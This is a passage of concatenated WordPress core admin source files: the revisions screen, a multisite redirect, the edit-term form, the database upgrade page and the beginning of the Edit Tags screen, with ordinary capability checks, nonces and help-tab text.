} else {
	$parent_file = 'edit.php';
}
$submenu_file = $parent_file;

wp_enqueue_script( 'revisions' );
wp_localize_script( 'revisions', '_wpRevisionsSettings', wp_prepare_revisions_for_js( $post, $revision_id, $from ) );

/* Revisions Help Tab */

$revisions_overview  = '<p>' . __( 'This screen is used for managing your content revisions.' ) . '</p>';
$revisions_overview .= '<p>' . __( 'Revisions are saved copies of your post or page, which are periodically created as you update your content. The red text on the left shows the content that was removed. The green text on the right shows the content that was added.' ) . '</p>';
$revisions_overview .= '<p>' . __( 'From this screen you can review, compare, and restore revisions:' ) . '</p>';
$revisions_overview .= '<ul><li>' . __( 'To navigate between revisions, <strong>drag the slider handle left or right</strong> or <strong>use the Previous or Next buttons</strong>.' ) . '</li>';
$revisions_overview .= '<li>' . __( 'Compare two different revisions by <strong>selecting the &#8220;Compare any two revisions&#8221; box</strong> to the side.' ) . '</li>';
$revisions_overview .= '<li>' . __( 'To restore a revision, <strong>click Restore This Revision</strong>.' ) . '</li></ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'revisions-overview',
		'title'   => __( 'Overview' ),
		'content' => $revisions_overview,
	)
);

$revisions_sidebar  = '<p><strong>' . __( 'For more information:' ) . '</strong></p>';
$revisions_sidebar .= '<p>' . __( '<a href="https://wordpress.org/documentation/article/revisions/">Revisions Management</a>' ) . '</p>';
$revisions_sidebar .= '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>';

get_current_screen()->set_help_sidebar( $revisions_sidebar );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
	<h1 class="long-header"><?php echo $h1; ?></h1>
	<?php echo $return_to_post; ?>
</div>
<?php
wp_print_revision_templates();

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Action handler for Multisite administration panels.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

require_once __DIR__ . '/admin.php';

wp_redirect( network_admin_url() );
exit;
<?php
/**
 * Edit tag form for inclusion in administration panels.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

// Back compat hooks.
if ( 'category' === $taxonomy ) {
	/**
	 * Fires before the Edit Category form.
	 *
	 * @since 2.1.0
	 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_edit_form'} instead.
	 *
	 * @param WP_Term $tag Current category term object.
	 */
	do_action_deprecated( 'edit_category_form_pre', array( $tag ), '3.0.0', '{$taxonomy}_pre_edit_form' );
} elseif ( 'link_category' === $taxonomy ) {
	/**
	 * Fires before the Edit Link Category form.
	 *
	 * @since 2.3.0
	 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_edit_form'} instead.
	 *
	 * @param WP_Term $tag Current link category term object.
	 */
	do_action_deprecated( 'edit_link_category_form_pre', array( $tag ), '3.0.0', '{$taxonomy}_pre_edit_form' );
} else {
	/**
	 * Fires before the Edit Tag form.
	 *
	 * @since 2.5.0
	 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_edit_form'} instead.
	 *
	 * @param WP_Term $tag Current tag term object.
	 */
	do_action_deprecated( 'edit_tag_form_pre', array( $tag ), '3.0.0', '{$taxonomy}_pre_edit_form' );
}

/**
 * Use with caution, see https://developer.wordpress.org/reference/functions/wp_reset_vars/
 */
wp_reset_vars( array( 'wp_http_referer' ) );

$wp_http_referer = remove_query_arg( array( 'action', 'message', 'tag_ID' ), $wp_http_referer );

// Also used by Edit Tags.
require_once ABSPATH . 'wp-admin/includes/edit-tag-messages.php';

/**
 * Fires before the Edit Term form for all taxonomies.
 *
 * The dynamic portion of the hook name, `$taxonomy`, refers to
 * the taxonomy slug.
 *
 * Possible hook names include:
 *
 *  - `category_pre_edit_form`
 *  - `post_tag_pre_edit_form`
 *
 * @since 3.0.0
 *
 * @param WP_Term $tag      Current taxonomy term object.
 * @param string  $taxonomy Current $taxonomy slug.
 */
do_action( "{$taxonomy}_pre_edit_form", $tag, $taxonomy ); ?>

<div class="wrap">
<h1><?php echo $tax->labels->edit_item; ?></h1>

<?php
$class = ( isset( $msg ) && 5 === $msg ) ? 'error' : 'success';

if ( $message ) {
	$message = '<p><strong>' . $message . '</strong></p>';
	if ( $wp_http_referer ) {
		$message .= '<p><a href="' . esc_url( wp_validate_redirect( sanitize_url( $wp_http_referer ), admin_url( 'term.php?taxonomy=' . $taxonomy ) ) ) . '">' . esc_html( $tax->labels->back_to_items ) . '</a></p>';
	}
	wp_admin_notice(
		$message,
		array(
			'type'           => $class,
			'id'             => 'message',
			'paragraph_wrap' => false,
		)
	);
}
?>

<div id="ajax-response"></div>

<form name="edittag" id="edittag" method="post" action="edit-tags.php" class="validate"
<?php
/**
 * Fires inside the Edit Term form tag.
 *
 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
 *
 * Possible hook names include:
 *
 *  - `category_term_edit_form_tag`
 *  - `post_tag_term_edit_form_tag`
 *
 * @since 3.7.0
 */
do_action( "{$taxonomy}_term_edit_form_tag" );
?>
>
<input type="hidden" name="action" value="editedtag" />
<input type="hidden" name="tag_ID" value="<?php echo esc_attr( $tag_ID ); ?>" />
<input type="hidden" name="taxonomy" value="<?php echo esc_attr( $taxonomy ); ?>" />
<?php
wp_original_referer_field( true, 'previous' );
wp_nonce_field( 'update-tag_' . $tag_ID );

/**
 * Fires at the beginning of the Edit Term form.
 *
 * At this point, the required hidden fields and nonces have already been output.
 *
 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
 *
 * Possible hook names include:
 *
 *  - `category_term_edit_form_top`
 *  - `post_tag_term_edit_form_top`
 *
 * @since 4.5.0
 *
 * @param WP_Term $tag      Current taxonomy term object.
 * @param string  $taxonomy Current $taxonomy slug.
 */
do_action( "{$taxonomy}_term_edit_form_top", $tag, $taxonomy );

$tag_name_value = '';
if ( isset( $tag->name ) ) {
	$tag_name_value = esc_attr( $tag->name );
}
?>
	<table class="form-table" role="presentation">
		<tr class="form-field form-required term-name-wrap">
			<th scope="row"><label for="name"><?php _ex( 'Name', 'term name' ); ?></label></th>
			<td><input name="name" id="name" type="text" value="<?php echo $tag_name_value; ?>" size="40" aria-required="true" aria-describedby="name-description" />
			<p class="description" id="name-description"><?php echo $tax->labels->name_field_description; ?></p></td>
		</tr>
		<tr class="form-field term-slug-wrap">
			<th scope="row"><label for="slug"><?php _e( 'Slug' ); ?></label></th>
			<?php
			/**
			 * Filters the editable slug for a post or term.
			 *
			 * Note: This is a multi-use hook in that it is leveraged both for editable
			 * post URIs and term slugs.
			 *
			 * @since 2.6.0
			 * @since 4.4.0 The `$tag` parameter was added.
			 *
			 * @param string          $slug The editable slug. Will be either a term slug or post URI depending
			 *                              upon the context in which it is evaluated.
			 * @param WP_Term|WP_Post $tag  Term or post object.
			 */
			$slug = isset( $tag->slug ) ? apply_filters( 'editable_slug', $tag->slug, $tag ) : '';
			?>
			<td><input name="slug" id="slug" type="text" value="<?php echo esc_attr( $slug ); ?>" size="40" aria-describedby="slug-description" />
			<p class="description" id="slug-description"><?php echo $tax->labels->slug_field_description; ?></p></td>
		</tr>
<?php if ( is_taxonomy_hierarchical( $taxonomy ) ) : ?>
		<tr class="form-field term-parent-wrap">
			<th scope="row"><label for="parent"><?php echo esc_html( $tax->labels->parent_item ); ?></label></th>
			<td>
				<?php
				$dropdown_args = array(
					'hide_empty'       => 0,
					'hide_if_empty'    => false,
					'taxonomy'         => $taxonomy,
					'name'             => 'parent',
					'orderby'          => 'name',
					'selected'         => $tag->parent,
					'exclude_tree'     => $tag->term_id,
					'hierarchical'     => true,
					'show_option_none' => __( 'None' ),
					'aria_describedby' => 'parent-description',
				);

				/** This filter is documented in wp-admin/edit-tags.php */
				$dropdown_args = apply_filters( 'taxonomy_parent_dropdown_args', $dropdown_args, $taxonomy, 'edit' );
				wp_dropdown_categories( $dropdown_args );
				?>
				<?php if ( 'category' === $taxonomy ) : ?>
					<p class="description" id="parent-description"><?php _e( 'Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional.' ); ?></p>
				<?php else : ?>
					<p class="description" id="parent-description"><?php echo $tax->labels->parent_field_description; ?></p>
				<?php endif; ?>
			</td>
		</tr>
<?php endif; // is_taxonomy_hierarchical() ?>
		<tr class="form-field term-description-wrap">
			<th scope="row"><label for="description"><?php _e( 'Description' ); ?></label></th>
			<td><textarea name="description" id="description" rows="5" cols="50" class="large-text" aria-describedby="description-description"><?php echo $tag->description; // textarea_escaped ?></textarea>
			<p class="description" id="description-description"><?php echo $tax->labels->desc_field_description; ?></p></td>
		</tr>
		<?php
		// Back compat hooks.
		if ( 'category' === $taxonomy ) {
			/**
			 * Fires after the Edit Category form fields are displayed.
			 *
			 * @since 2.9.0
			 * @deprecated 3.0.0 Use {@see '{$taxonomy}_edit_form_fields'} instead.
			 *
			 * @param WP_Term $tag Current category term object.
			 */
			do_action_deprecated( 'edit_category_form_fields', array( $tag ), '3.0.0', '{$taxonomy}_edit_form_fields' );
		} elseif ( 'link_category' === $taxonomy ) {
			/**
			 * Fires after the Edit Link Category form fields are displayed.
			 *
			 * @since 2.9.0
			 * @deprecated 3.0.0 Use {@see '{$taxonomy}_edit_form_fields'} instead.
			 *
			 * @param WP_Term $tag Current link category term object.
			 */
			do_action_deprecated( 'edit_link_category_form_fields', array( $tag ), '3.0.0', '{$taxonomy}_edit_form_fields' );
		} else {
			/**
			 * Fires after the Edit Tag form fields are displayed.
			 *
			 * @since 2.9.0
			 * @deprecated 3.0.0 Use {@see '{$taxonomy}_edit_form_fields'} instead.
			 *
			 * @param WP_Term $tag Current tag term object.
			 */
			do_action_deprecated( 'edit_tag_form_fields', array( $tag ), '3.0.0', '{$taxonomy}_edit_form_fields' );
		}
		/**
		 * Fires after the Edit Term form fields are displayed.
		 *
		 * The dynamic portion of the hook name, `$taxonomy`, refers to
		 * the taxonomy slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `category_edit_form_fields`
		 *  - `post_tag_edit_form_fields`
		 *
		 * @since 3.0.0
		 *
		 * @param WP_Term $tag      Current taxonomy term object.
		 * @param string  $taxonomy Current taxonomy slug.
		 */
		do_action( "{$taxonomy}_edit_form_fields", $tag, $taxonomy );
		?>
	</table>
<?php
// Back compat hooks.
if ( 'category' === $taxonomy ) {
	/** This action is documented in wp-admin/edit-tags.php */
	do_action_deprecated( 'edit_category_form', array( $tag ), '3.0.0', '{$taxonomy}_add_form' );
} elseif ( 'link_category' === $taxonomy ) {
	/** This action is documented in wp-admin/edit-tags.php */
	do_action_deprecated( 'edit_link_category_form', array( $tag ), '3.0.0', '{$taxonomy}_add_form' );
} else {
	/**
	 * Fires at the end of the Edit Term form.
	 *
	 * @since 2.5.0
	 * @deprecated 3.0.0 Use {@see '{$taxonomy}_edit_form'} instead.
	 *
	 * @param WP_Term $tag Current taxonomy term object.
	 */
	do_action_deprecated( 'edit_tag_form', array( $tag ), '3.0.0', '{$taxonomy}_edit_form' );
}
/**
 * Fires at the end of the Edit Term form for all taxonomies.
 *
 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
 *
 * Possible hook names include:
 *
 *  - `category_edit_form`
 *  - `post_tag_edit_form`
 *
 * @since 3.0.0
 *
 * @param WP_Term $tag      Current taxonomy term object.
 * @param string  $taxonomy Current taxonomy slug.
 */
do_action( "{$taxonomy}_edit_form", $tag, $taxonomy );
?>

<div class="edit-tag-actions">

	<?php submit_button( __( 'Update' ), 'primary', null, false ); ?>

	<?php if ( current_user_can( 'delete_term', $tag->term_id ) ) : ?>
		<span id="delete-link">
			<a class="delete" href="<?php echo esc_url( admin_url( wp_nonce_url( "edit-tags.php?action=delete&taxonomy=$taxonomy&tag_ID=$tag->term_id", 'delete-tag_' . $tag->term_id ) ) ); ?>"><?php _e( 'Delete' ); ?></a>
		</span>
	<?php endif; ?>

</div>

</form>
</div>

<?php if ( ! wp_is_mobile() ) : ?>
<script type="text/javascript">
try{document.forms.edittag.name.focus();}catch(e){}
</script>
	<?php
endif;
<?php
/**
 * Upgrade WordPress Page.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * We are upgrading WordPress.
 *
 * @since 1.5.1
 * @var bool
 */
define( 'WP_INSTALLING', true );

/** Load WordPress Bootstrap */
require dirname( __DIR__ ) . '/wp-load.php';

nocache_headers();

require_once ABSPATH . 'wp-admin/includes/upgrade.php';

delete_site_transient( 'update_core' );

if ( isset( $_GET['step'] ) ) {
	$step = $_GET['step'];
} else {
	$step = 0;
}

// Do it. No output.
if ( 'upgrade_db' === $step ) {
	wp_upgrade();
	die( '0' );
}

/**
 * @global string $wp_version             The WordPress version string.
 * @global string $required_php_version   The required PHP version string.
 * @global string $required_mysql_version The required MySQL version string.
 * @global wpdb   $wpdb                   WordPress database abstraction object.
 */
global $wp_version, $required_php_version, $required_mysql_version, $wpdb;

$step = (int) $step;

$php_version   = PHP_VERSION;
$mysql_version = $wpdb->db_version();
$php_compat    = version_compare( $php_version, $required_php_version, '>=' );
if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) ) {
	$mysql_compat = true;
} else {
	$mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' );
}

header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );
?>
<!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
	<meta name="viewport" content="width=device-width" />
	<meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php echo get_option( 'blog_charset' ); ?>" />
	<meta name="robots" content="noindex,nofollow" />
	<title><?php _e( 'WordPress &rsaquo; Update' ); ?></title>
	<?php wp_admin_css( 'install', true ); ?>
</head>
<body class="wp-core-ui">
<p id="logo"><a href="<?php echo esc_url( __( 'https://wordpress.org/' ) ); ?>"><?php _e( 'WordPress' ); ?></a></p>

<?php if ( (int) get_option( 'db_version' ) === $wp_db_version || ! is_blog_installed() ) : ?>

<h1><?php _e( 'No Update Required' ); ?></h1>
<p><?php _e( 'Your WordPress database is already up to date!' ); ?></p>
<p class="step"><a class="button button-large" href="<?php echo esc_url( get_option( 'home' ) ); ?>/"><?php _e( 'Continue' ); ?></a></p>

	<?php
elseif ( ! $php_compat || ! $mysql_compat ) :
	$version_url = sprintf(
		/* translators: %s: WordPress version. */
		esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ),
		sanitize_title( $wp_version )
	);

	$php_update_message = '</p><p>' . sprintf(
		/* translators: %s: URL to Update PHP page. */
		__( '<a href="%s">Learn more about updating PHP</a>.' ),
		esc_url( wp_get_update_php_url() )
	);

	$annotation = wp_get_update_php_annotation();

	if ( $annotation ) {
		$php_update_message .= '</p><p><em>' . $annotation . '</em>';
	}

	if ( ! $mysql_compat && ! $php_compat ) {
		$message = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Minimum required MySQL version number, 5: Current PHP version number, 6: Current MySQL version number. */
			__( 'You cannot update because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher and MySQL version %4$s or higher. You are running PHP version %5$s and MySQL version %6$s.' ),
			$version_url,
			$wp_version,
			$required_php_version,
			$required_mysql_version,
			$php_version,
			$mysql_version
		) . $php_update_message;
	} elseif ( ! $php_compat ) {
		$message = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Current PHP version number. */
			__( 'You cannot update because <a href="%1$s">WordPress %2$s</a> requires PHP version %3$s or higher. You are running version %4$s.' ),
			$version_url,
			$wp_version,
			$required_php_version,
			$php_version
		) . $php_update_message;
	} elseif ( ! $mysql_compat ) {
		$message = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required MySQL version number, 4: Current MySQL version number. */
			__( 'You cannot update because <a href="%1$s">WordPress %2$s</a> requires MySQL version %3$s or higher. You are running version %4$s.' ),
			$version_url,
			$wp_version,
			$required_mysql_version,
			$mysql_version
		);
	}

	echo '<p>' . $message . '</p>';
	?>
	<?php
else :
	switch ( $step ) :
		case 0:
			$goback = wp_get_referer();
			if ( $goback ) {
				$goback = sanitize_url( $goback );
				$goback = urlencode( $goback );
			}
			?>
	<h1><?php _e( 'Database Update Required' ); ?></h1>
<p><?php _e( 'WordPress has been updated! Next and final step is to update your database to the newest version.' ); ?></p>
<p><?php _e( 'The database update process may take a little while, so please be patient.' ); ?></p>
<p class="step"><a class="button button-large button-primary" href="upgrade.php?step=1&amp;backto=<?php echo $goback; ?>"><?php _e( 'Update WordPress Database' ); ?></a></p>
			<?php
			break;
		case 1:
			wp_upgrade();

			$backto = ! empty( $_GET['backto'] ) ? wp_unslash( urldecode( $_GET['backto'] ) ) : __get_option( 'home' ) . '/';
			$backto = esc_url( $backto );
			$backto = wp_validate_redirect( $backto, __get_option( 'home' ) . '/' );
			?>
	<h1><?php _e( 'Update Complete' ); ?></h1>
	<p><?php _e( 'Your WordPress database has been successfully updated!' ); ?></p>
	<p class="step"><a class="button button-large" href="<?php echo $backto; ?>"><?php _e( 'Continue' ); ?></a></p>
			<?php
			break;
endswitch;
endif;
?>
</body>
</html>
<?php
/**
 * Edit Tags Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! $taxnow ) {
	wp_die( __( 'Invalid taxonomy.' ) );
}

$tax = get_taxonomy( $taxnow );

if ( ! $tax ) {
	wp_die( __( 'Invalid taxonomy.' ) );
}

if ( ! in_array( $tax->name, get_taxonomies( array( 'show_ui' => true ) ), true ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit terms in this taxonomy.' ) );
}

if ( ! current_user_can( $tax->cap->manage_terms ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ) . '</p>',
		403
	);
}

/**
 * $post_type is set when the WP_Terms_List_Table instance is created
 *
 * @global string $post_type
 */
global $post_type;

$wp_list_table = _get_list_table( 'WP_Terms_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

$title = $tax->labels->name;

if ( 'post' !== $post_type ) {
	$parent_file  = ( 'attachment' === $post_type ) ? 'upload.php' : "edit.php?post_type=$post_type";
	$submenu_file = "edit-tags.php?taxonomy=$taxonomy&amp;post_type=$post_type";
} elseif ( 'link_category' === $tax->name ) {
	$parent_file  = 'link-manager.php';
	$submenu_file = 'edit-tags.php?taxonomy=link_category';
} else {
	$parent_file  = 'edit.php';
	$submenu_file = "edit-tags.php?taxonomy=$taxonomy";
}

add_screen_option(
	'per_page',
	array(
		'default' => 20,
		'option'  => 'edit_' . $tax->name . '_per_page',
	)
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_pagination' => $tax->labels->items_list_navigation,
		'heading_list'       => $tax->labels->items_list,
	)
);

$location = false;
$referer  = wp_get_referer();
if ( ! $referer ) { // For POST requests.
	$referer = wp_unslash( $_SERVER['REQUEST_URI'] );
}
$referer = remove_query_arg( array( '_wp_http_referer', '_wpnonce', 'error', 'message', 'paged' ), $referer );
switch ( $wp_list_table->current_action() ) {

	case 'add-tag':
		check_admin_referer( 'add-tag', '_wpnonce_add-tag' );

		if ( ! current_user_can( $tax->cap->edit_terms ) ) {
			wp_die(
				'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
				'<p>' . __( 'Sorry, you are not allowed to create terms in this taxonomy.' ) . '</p>',
				403
			);
		}

		$ret = wp_insert_term( $_POST['tag-name'], $taxonomy, $_POST );
		if ( $ret && ! is_wp_error( $ret ) ) {
			$location = add_query_arg( 'message', 1, $referer );
		} else {
			$location = add_query_arg(
				array(
					'error'   => true,
					'message' => 4,
				),
				$referer
			);
		}

		break;

	case 'delete':
		if ( ! isset( $_REQUEST['tag_ID'] ) ) {
			break;
		}

		$tag_ID = (int) $_REQUEST['tag_ID'];
		check_admin_referer( 'delete-tag_' . $tag_ID );

		if ( ! current_user_can( 'delete_term', $tag_ID ) ) {
			wp_die(
				'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
				'<p>' . __( 'Sorry, you are not allowed to delete this item.' ) . '</p>',
				403
			);
		}

		wp_delete_term( $tag_ID, $taxonomy );

		$location = add_query_arg( 'message', 2, $referer );

		// When deleting a term, prevent the action from redirecting back to a term that no longer exists.
		$location = remove_query_arg( array( 'tag_ID', 'action' ), $location );

		break;

	case 'bulk-delete':
		check_admin_referer( 'bulk-tags' );

		if ( ! current_user_can( $tax->cap->delete_terms ) ) {
			wp_die(
				'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
				'<p>' . __( 'Sorry, you are not allowed to delete these items.' ) . '</p>',
				403
			);
		}

		$tags = (array) $_REQUEST['delete_tags'];
		foreach ( $tags as $tag_ID ) {
			wp_delete_term( $tag_ID, $taxonomy );
		}

		$location = add_query_arg( 'message', 6, $referer );

		break;

	case 'edit':
		if ( ! isset( $_REQUEST['tag_ID'] ) ) {
			break;
		}

		$term_id = (int) $_REQUEST['tag_ID'];
		$term    = get_term( $term_id );

		if ( ! $term instanceof WP_Term ) {
			wp_die( __( 'You attempted to edit an item that does not exist. Perhaps it was deleted?' ) );
		}

		wp_redirect( sanitize_url( get_edit_term_link( $term_id, $taxonomy, $post_type ) ) );
		exit;

	case 'editedtag':
		$tag_ID = (int) $_POST['tag_ID'];
		check_admin_referer( 'update-tag_' . $tag_ID );

		if ( ! current_user_can( 'edit_term', $tag_ID ) ) {
			wp_die(
				'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
				'<p>' . __( 'Sorry, you are not allowed to edit this item.' ) . '</p>',
				403
			);
		}

		$tag = get_term( $tag_ID, $taxonomy );
		if ( ! $tag ) {
			wp_die( __( 'You attempted to edit an item that does not exist. Perhaps it was deleted?' ) );
		}

		$ret = wp_update_term( $tag_ID, $taxonomy, $_POST );

		if ( $ret && ! is_wp_error( $ret ) ) {
			$location = add_query_arg( 'message', 3, $referer );
		} else {
			$location = add_query_arg(
				array(
					'error'   => true,
					'message' => 5,
				),
				$referer
			);
		}
		break;
	default:
		if ( ! $wp_list_table->current_action() || ! isset( $_REQUEST['delete_tags'] ) ) {
			break;
		}
		check_admin_referer( 'bulk-tags' );

		$screen = get_current_screen()->id;
		$tags   = (array) $_REQUEST['delete_tags'];

		/** This action is documented in wp-admin/edit.php */
		$location = apply_filters( "handle_bulk_actions-{$screen}", $location, $wp_list_table->current_action(), $tags ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
		break;
}

if ( ! $location && ! empty( $_REQUEST['_wp_http_referer'] ) ) {
	$location = remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) );
}

if ( $location ) {
	if ( $pagenum > 1 ) {
		$location = add_query_arg( 'paged', $pagenum, $location ); // $pagenum takes care of $total_pages.
	}

	/**
	 * Filters the taxonomy redirect destination URL.
	 *
	 * @since 4.6.0
	 *
	 * @param string      $location The destination URL.
	 * @param WP_Taxonomy $tax      The taxonomy object.
	 */
	wp_redirect( apply_filters( 'redirect_term_location', $location, $tax ) );
	exit;
}

$wp_list_table->prepare_items();
$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );

if ( $pagenum > $total_pages && $total_pages > 0 ) {
	wp_redirect( add_query_arg( 'paged', $total_pages ) );
	exit;
}

wp_enqueue_script( 'admin-tags' );
if ( current_user_can( $tax->cap->edit_terms ) ) {
	wp_enqueue_script( 'inline-edit-tax' );
}

if ( 'category' === $taxonomy || 'link_category' === $taxonomy || 'post_tag' === $taxonomy ) {
	$help = '';
	if ( 'category' === $taxonomy ) {
		$help = '<p>' . sprintf(
			/* translators: %s: URL to Writing Settings screen. */
			__( 'You can use categories to define sections of your site and group related posts. The default category is &#8220;Uncategorized&#8221; until you change it in your <a href="%s">writing settings</a>.' ),
			'options-writing.php'
		) . '</p>';
	} elseif ( 'link_category' === $taxonomy ) {
		$help = '<p>' . __( 'You can create groups of links by using Link Categories. Link Category names must be unique and Link Categories are separate from the categories you use for posts.' ) . '</p>';
	} else {
		$help = '<p>' . __( 'You can assign keywords to your posts using <strong>tags</strong>. Unlike categories, tags have no hierarchy, meaning there is no relationship from one tag to another.' ) . '</p>';
	}

	if ( 'link_category' === $taxonomy ) {
		$help .= '<p>' . __( 'You can delete Link Categories in the Bulk Action pull-down, but that action does not delete the links within the category. Instead, it moves them to the default Link Category.' ) . '</p>';
	} else {
		$help .= '<p>' . __( 'What&#8217;s the difference between categories and tags? Normally, tags are ad-hoc keywords that identify important information in your post (names, subjects, etc) that may or may not recur in other posts, while categories are pre-determined sections. If you think of your site like a book, the categories are like the Table of Contents and the tags are like the terms in the index.' ) . '</p>';
	}

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'overview',
			'title'   => __( 'Overview' ),
			'content' => $help,
		)
	);

	if ( 'category' === $taxonomy || 'post_tag' === $taxonomy ) {
		if ( 'category' === $taxonomy ) {
			$help = '<p>' . __( 'When adding a new category on this screen, you&#8217;ll fill in the following fields:' ) . '</p>';
		} else {
			$help = '<p>' . __( 'When adding a new tag on this screen, you&#8217;ll fill in the following fields:' ) . '</p>';
		}

		$help .= '<ul>' .
		'<li>' . __( '<strong>Name</strong> &mdash; The name is how it appears on your site.' ) . '</li>';

		$help .= '<li>' . __( '<strong>Slug</strong> &mdash; The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.' ) . '</li>';

		if ( 'category' === $taxonomy ) {
			$help .= '<li>' . __( '<strong>Parent</strong> &mdash; Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have child categories for Bebop and Big Band. Totally optional. To create a subcategory, just choose another category from the Parent dropdown.' ) . '</li>';
		}

		$help .= '<li>' . __( '<strong>Description</strong> &mdash; The description is not prominent by default; however, some themes may display it.' ) . '</li>' .
		'</ul>' .
		'<p>' . __( 'You can change the display of this screen using the Screen Options tab to set how many items are displayed per screen and to display/hide columns in the table.' ) . '</p>';

		get_current_screen()->add_help_tab(
			array(
				'id'      => 'adding-terms',
				'title'   => 'category' === $taxonomy ? __( 'Adding Categories' ) : __( 'Adding Tags' ),
				'content' => $help,
			)
		);
	}

	$help = '<p><strong>' . __( 'For more information:' ) . '</strong></p>';

	if ( 'category' === $taxonomy ) {
		$help .= '<p>' . __( '<a href="https://wordpress.org/documentation/article/posts-categories-screen/">Documentation on Categories</a>' ) . '</p>';
	} elseif ( 'link_category' === $taxonomy ) {
		$help .= '<p>' . __( '<a href="https://codex.wordpress.org/Links_Link_Categories_Screen">Documentation on Link Categories</a>' ) . '</p>';
	} else {
		$help .= '<p>' . __( '<a href="https://wordpress.org/documentation/article/posts-tags-screen/">Documentation on Tags</a>' ) . '</p>';
	}

	$help .= '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>';

	get_current_screen()->set_help_sidebar( $help );

	unset( $help );
}

require_once ABSPATH . 'wp-admin/admin-header.php';

// Also used by the Edit Tag form.
require_once ABSPATH . 'wp-admin/includes/edit-tag-messages.php';

$class = ( isset( $_REQUEST['error'] ) ) ? 'error' : 'updated';

if ( is_plugin_active( 'wpcat2tag-importer/wpcat2tag-importer.php' ) ) {
	$import_link = admin_url( 'admin.php?import=wpcat2tag' );
} else {
	$import_link = admin_url( 'import.php' );
}

?>

<div class="wrap nosubsub">
<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( wp_unslash( $_REQUEST['s'] ) ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php
if ( $message ) :
	wp_admin_notice(
		$message,
		array(
			'id'                 => 'message',
			'additional_classes' => array( $class ),
			'dismissible'        => true,
		)
	);
	$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'message', 'error' ), $_SERVER['REQUEST_URI'] );
endif;
?>
<div id="ajax-response"></div>

<form class="search-form wp-clearfix" method="get">
<input type="hidden" name="taxonomy" value="<?php echo esc_attr( $taxonomy ); ?>" />
<input type="hidden" name="post_type" value="<?php echo esc_attr( $post_type ); ?>" />

<?php $wp_list_table->search_box( $tax->labels->search_items, 'tag' ); ?>

</form>

<?php
$can_edit_terms = current_user_can( $tax->cap->edit_terms );

if ( $can_edit_terms ) {
	?>
<div id="col-container" class="wp-clearfix">

<div id="col-left">
<div class="col-wrap">

	<?php
	if ( 'category' === $taxonomy ) {
		/**
		 * Fires before the Add Category form.
		 *
		 * @since 2.1.0
		 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_add_form'} instead.
		 *
		 * @param object $arg Optional arguments cast to an object.
		 */
		do_action_deprecated( 'add_category_form_pre', array( (object) array( 'parent' => 0 ) ), '3.0.0', '{$taxonomy}_pre_add_form' );
	} elseif ( 'link_category' === $taxonomy ) {
		/**
		 * Fires before the link category form.
		 *
		 * @since 2.3.0
		 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_add_form'} instead.
		 *
		 * @param object $arg Optional arguments cast to an object.
		 */
		do_action_deprecated( 'add_link_category_form_pre', array( (object) array( 'parent' => 0 ) ), '3.0.0', '{$taxonomy}_pre_add_form' );
	} else {
		/**
		 * Fires before the Add Tag form.
		 *
		 * @since 2.5.0
		 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_add_form'} instead.
		 *
		 * @param string $taxonomy The taxonomy slug.
		 */
